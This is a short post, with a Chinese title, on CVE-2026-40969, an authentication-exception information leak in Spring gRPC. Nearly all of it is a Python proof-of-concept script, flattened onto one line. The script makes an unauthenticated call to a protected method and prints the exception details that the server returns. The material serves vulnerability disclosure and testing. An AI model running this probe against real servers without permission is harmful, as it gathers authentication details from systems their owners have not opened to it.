CVE-2026-40969 Spring gRPC认证异常信息泄露漏洞

import grpc # Target vulnerable gRPC server address TARGET_SERVER = "localhost:9090" # This PoC demonstrates the information leak by triggering an authentication failure # without providing valid credentials. def check_info_leak(): # Create an insecure channel to the target with grpc.insecure_channel(TARGET_SERVER) as channel: # In a real scenario, create a stub from the generated proto files # Here we simulate a generic call that requires authentication try: # Attempt to call a protected method without metadata/token # This triggers the server-side AuthenticationException stub = channel.unary_unary( '/service.path/SecureMethod', request_serializer=bytes, response_deserializer=bytes ) response = stub(b"test_payload") except grpc.RpcError as e: # The vulnerability: Raw exception message is exposed in details() print(f"[+] Status Code: {e.code()}") print(f"[+] Leaked Authentication Info: {e.details()}") if __name__ == "__main__": check_info_leak()